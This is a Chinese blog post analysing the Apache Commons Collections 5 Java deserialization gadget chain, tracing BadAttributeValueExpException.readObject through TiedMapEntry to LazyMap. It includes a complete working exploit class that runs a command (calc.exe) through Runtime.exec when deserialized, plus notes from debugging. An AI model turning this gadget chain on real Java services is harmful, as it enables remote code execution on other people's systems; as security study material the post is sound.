Java反序列化:CommonsCollections5调试分析

基础知识

1. BadAttributeValueExpException

相关源码

可以看到这个异常类的支持序列化和反序列化,同时在反序列化readObject函数中会涉及到toString函数

public class BadAttributeValueExpException extends Exception   {


    /* Serial version */
    private static final long serialVersionUID = -3105272988410493376L;

    /**
     * @serial A string representation of the attribute that originated this exception.
     * for example, the string value can be the return of {@code attribute.toString()}
     */
    private Object val;				

    /**
     * Constructs a BadAttributeValueExpException using the specified Object to
     * create the toString() value.
     *
     * @param val the inappropriate value.
     */
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }


    /**
     * Returns the string representing the object.
     */
    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

2. TiedMapEntry

用于将两个Map对象进行绑定

查看下源码,主要触发

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {								// 触发LazyMap.get
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Map.Entry)) {
            return false;
        } else {
            Map.Entry other = (Map.Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

基本思路

从要触发LazyMap的函数角度出发,主打的是要调用TiedMapEntry的getValue函数

有这个条件的有hashCode和toString

CC5: BadAttributeValueExpException.readObject() --> TiedMapEntry.toString() --> TiedMapEntry.getValue()

CC6: java.util.HashSet.readObject() --> HashMap.hash() --> TiedMapEntry.hashCode() --> TiedMapEntry.getValue()

调试分析

  • 老惯例,放下函数调用栈

image-20230905200350575

  • 在BadAttributeValueExpException中触发了toString方法

image-20230905201844968

  • toString后进行getValue然后get

image-20230905204343044

  • 最后就是LazyMap.get那条路了

EXP

package CC5;

import utils.DeSerialization;
import utils.Reflection;
import utils.Serialization;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;

public class CC5EXP {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1)
        };

        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "key");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Reflection.setFieldValue(val, "val", tme); // 通过反射更改 val            val.val = tme

        Reflection.setFieldValue(transformerChain, "iTransformers", transformers);

        byte[] bytecode = Serialization.serialize(val);

        DeSerialization.deserialize(bytecode);



    }
}

调试碰到的问题

  • 关于调试到此处,直接弹出计算器

个人猜测,因为调试的时候需要打印信息,导致先触发了一层toString方法,从而触发攻击链

image-20230905201454374

posted @ 2023-09-05 22:36  Icfh  阅读(19)  评论(0编辑  收藏  举报